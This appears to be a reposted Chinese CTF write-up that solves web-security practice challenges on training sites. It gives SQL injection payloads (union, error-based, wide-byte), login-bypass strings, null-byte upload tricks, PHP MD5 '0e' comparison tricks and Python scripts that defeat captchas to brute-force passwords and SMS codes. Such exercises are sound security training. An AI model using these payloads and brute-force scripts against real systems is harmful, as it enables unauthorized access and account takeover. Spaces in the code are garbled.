CTFweb

基礎(chǔ)篇

alert(HackingLab)

這樣也可以

這題也差不多

http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php

可以直接輸入上題的那個jquery,也可以乖乖下面的

[html]

http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php

后端腳本類

代碼審計(jì)

asp代碼審計(jì):

1.http://ctf8.shiyanbar.com/aspaudit/

長度限制:F12刪maxlength,或者改長度,本地代理都可以繞過

//Username:??'unionselect1,1,1 from bdmin '? ,為什么是三列呢,一般表中都會設(shè)置id,加上賬號密碼就3個了,不行就猜4列咯...,因?yàn)閡nion的之前的用戶名為空,所以前面的結(jié)果集為空,所以最后的結(jié)果集只有我們后面的1,1,1了,所以在密碼那輸入1就是密碼。

這樣也行,反正就閉合標(biāo)簽? 'union? select 1,1,1 from bdmin where '1'='1

php代碼審計(jì)

1.http://ctf8.shiyanbar.com/phpaudit///其實(shí)這個就是修改http請求頭的X-Forwarded-For

2.http://ctf1.shiyanbar.com/web/4/index.php //跟下面的后臺登陸型第一個一樣,請看下面的后臺登陸型第一個

3.http://ctf5.shiyanbar.com/DUTCTF/index.php //二次urlencode

4.http://ctf1.shiyanbar.com/web/5/index.php //請看后臺登陸型第二個

5.http://ctf4.shiyanbar.com/web/false.php //數(shù)組的哈希值,都是null

6.http://ctf4.shiyanbar.com/web/Session.php //只需要在第一次提交的時候直接提交password=即可,因?yàn)榈谝淮卧L問時服務(wù)器那邊也沒設(shè)置對應(yīng)的$_SESSION['password'],由于是==比較,兩者是相等的。

表單隱藏http://ctf10.shiyanbar.com:8888/main.php

sql注入

簡單的直接上工具就ko了,如sqlmap,等-——10大sql注入工具

如下面幾個:

1.http://ctf5.shiyanbar.com:8080/9/asp.asp

2.http://ctf5.shiyanbar.com/8/index.php?id=1

當(dāng)然不用and XX也是可以的,下面只是舉個例子

[php]

//手工注入過程

//判斷注入類型為and布爾型注入

http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1

http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2

//判斷字段數(shù)

http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%203

http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%202

//獲取數(shù)據(jù)庫基本信息(//concat_ws是字符串連接函數(shù),其中第一個參數(shù)是分隔符,CHAR(58)是冒號,因?yàn)槊疤柕腁SCII是58)

http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,concat_ws(CHAR(58),user(),database(),version())

//獲取數(shù)據(jù)庫中的表,其中table_schema可以理解為數(shù)據(jù)庫吧(他是mysql系統(tǒng)表里面的一個字段,這里我們用16進(jìn)制表示,就是上一句查詢到的數(shù)據(jù)庫)

http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x6d795f6462

//獲取重要表的字段

http://ctf5.shiyanbar.com/8/index.php?id=1?and?1=2?union?select?1,column_name?from?information_schema.columns?where?table_name=0x746869736b6579

//獲取表中的內(nèi)容

http://ctf5.shiyanbar.com/8/index.php?id=1?and?1=2?union?select?1,k0y?from?thiskey

3.http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

密碼隨便輸入

4.http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

payload:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1

5.http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1

字節(jié)注入,在其他沒頭緒的時候必須考慮這個了,哎,而且題目都說過濾了

還有響應(yīng)頭:Content-Type:text/html; charset=gb2312

payload

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%a0%27 or 1=1 limit 2,1%23

6.http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

利用報(bào)錯注入

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1

procedure analyse(extractvalue(1,concat(0x3a,database())),1)

數(shù)據(jù)庫:mydbs

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1

procedure analyse(extractvalue(1,concat(0x3a,(select table_name from

information_schema.tables where table_schema=0x6d79646273 limit 0,1

))),1)

爆表

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1

procedure analyse(extractvalue(1,concat(0x3a,(select

concat(username,0x3a,password) from user limit 2,1 ))),1)

爆數(shù)據(jù)

寫點(diǎn)腳本的

注意看響應(yīng)頭,You must do it asfastas you can!,這個手速是不行的,必須編程獲取后解碼,跟著post數(shù)據(jù):key=XXXXXXXXXXXXX

http://ctf4.shiyanbar.com/web/10.php

腳本如下

[python]

importrequests

importbase64

url='http://ctf4.shiyanbar.com/web/10.php'

req=requests.get(url)

printreq.text

key=req.headers['FLAG']

key=base64.b64decode(key)

key=key.split(':')[1].strip()

data={'key':key}

r=requests.post(url,data=data)

print(r.text)

后臺登陸型

給了源代碼,主要看sql語句,注釋掉后面的and (pw='$pass'),當(dāng)注意閉合小括號 payload? :user=admin')#&pass=432142

1.http://ctf1.shiyanbar.com/web/4/index.php

2.http://ctf1.shiyanbar.com/web/5/index.php

//這題可以看看asp代碼審計(jì)第一題,你或許有思路,后面有答案鼠標(biāo)刮過即可(鼠標(biāo)選中冒號后面的空白):user='unionselect'c4ca4238a0b923820dcc509a6f75849b'? from php --& pass=1

那個MD5是密碼1的md5

代碼逆向

http://www.shiyanbar.com/ctf/1760

解密代碼

[cpp]

$cipher?='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';

$tmp?=?base64_decode(strrev(str_rot13($cipher)));

echo?$tmp;

$b?='';

for($i=0;?$i?<?strlen($tmp);?$i++)?{

$a?=?substr($tmp,?$i,?1);

$b?=?$b.chr(ord($a)-1);

}

echo?strrev($b);

上傳繞過類

http://ctf4.shiyanbar.com/web/upload//這個注意看抓包的數(shù)據(jù),既有路徑,又有文件名,文件名不行,就試試路徑的00截?cái)?? /uploads/sdf.php+十六進(jìn)制的00

multipart/form-data大寫繞過

php的特性

1.數(shù)字與字符串比較

[php]

var_dump(?0?=="a");

var_dump("0"=="a");

第一個返回的是 true ,第二個返回的是 false

因?yàn)閜hp把字母開頭的轉(zhuǎn)化為整型時,轉(zhuǎn)化為0, 前面數(shù)字后面字母的話就只取到第一個字母出現(xiàn)的位置之前(如intval(''123abd45gf)結(jié)果為123)

2.md5“碰撞”

因?yàn)閜hp 0e開頭的字符串都是==的,不是===哦

[php]

var_dump("0e462097431906854"=="0e83040041");

上面這個返回true,如果題目的md5是0e開頭的,你懂的

下面給一組數(shù)據(jù)吧

[php]

md5('240610708')?的結(jié)果是:0e462097431906509019562988736854

md5('QNKCDZO')?的結(jié)果是:0e830400451993494058024219903391

240610708、QNKCDZO、aabg7XSs、aabC9RqS

3.md5數(shù)組

md5(array) == NULL

4.strcmp(array,string) ==

5.變量覆蓋:register_globals的意思就是注冊為全局變量,所以當(dāng)On的時候,傳遞過來的值會被直接的注冊為全局變量直接使用,而Off的時候,我們需要到特定的數(shù)組里去得到它。PHP4默認(rèn)開啟,PHP5以后默認(rèn)關(guān)閉。

還有就是extract那個函數(shù),也可以存在變量覆蓋http://www.w3school.com.cn/php/func_array_extract.asp

6.ereg函數(shù)漏洞:00截?cái)?/p>

%00

http://www.shiyanbar.com/ctf/1805

備份文件類型的

.bak?? ultroedit....

~

.xxxx.php.swp? .xxxx.php.swo?? vim

驗(yàn)證碼類的

http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

這個驗(yàn)證碼的特點(diǎn)是,在一次會話中,下一次提交,上一次的驗(yàn)證碼不會失效

代碼,具體要改cookie和驗(yàn)證碼

[python]

importrequests

url?="http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"

req?=?requests.session()

header?=?{"Cookie":"PHPSESSID=9b8f8686269f5d70a44766e3c5f4dcdc"}

forpwdinxrange(1000,10000):

data={'username':'admin','pwd':pwd,'vcode':'c3pe'}

ret?=?req.post(url,?data=data,?headers=header)

printret.text

if'error'notinret.text:

printpwd

break

http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

程序猿:“該死的黑客,我讓你繞!我驗(yàn)證一次就讓你的驗(yàn)證碼失效,看你怎么繞!”

這一關(guān)的驗(yàn)證碼,驗(yàn)證一次以后就失效了,但是再次提交的時候就不需要再考慮驗(yàn)證碼是否正確的問題了,所以在腳本中只要保證驗(yàn)證碼為''的就可以

[python]

importrequests

url?="http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"

req?=?requests.session()

header?=?{"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"}

forpwdinxrange(1000,10000):

data={'username':'admin','pwd':pwd,'vcode':''}

ret?=?req.post(url,?data=data,?headers=header)

if'error'notinret.text:

printret.text

print"good:?password?is:"+?str(pwd)

break

else:

print"try:"+?str(pwd)?+"?and?result?is?:"+?ret.text

http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php? 跟上面一樣的腳本

http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/

爆破再爆破,點(diǎn)擊驗(yàn)證碼再運(yùn)行腳本哦,跟著獲得另一個手機(jī)號,再獲取驗(yàn)證碼,再修改手機(jī)號再運(yùn)行腳本

[python]

importrequests

url?="http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"

req?=?requests.session()

header?=?{"Cookie":"PHPSESSID=61556a5b2a6c2a03a2f35b199cbb5364"}

forvcodeinxrange(100,1000):

data={'username':'13388886666','vcode':vcode,'Login':'submit'}

#?data={'username':'13399999999','vcode':vcode,?'Login':'submit'}

ret?=?req.post(url,?data=data,?headers=header)

if'error'notinret.text:

printret.text

print"good:?vcode?is:"+?str(vcode)

break

else:

print"try:"+?str(vcode)?+"?and?result?is?:"+?ret.text

本文鏈接:http://blog.csdn.net/u012763794/article/details/50959166

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容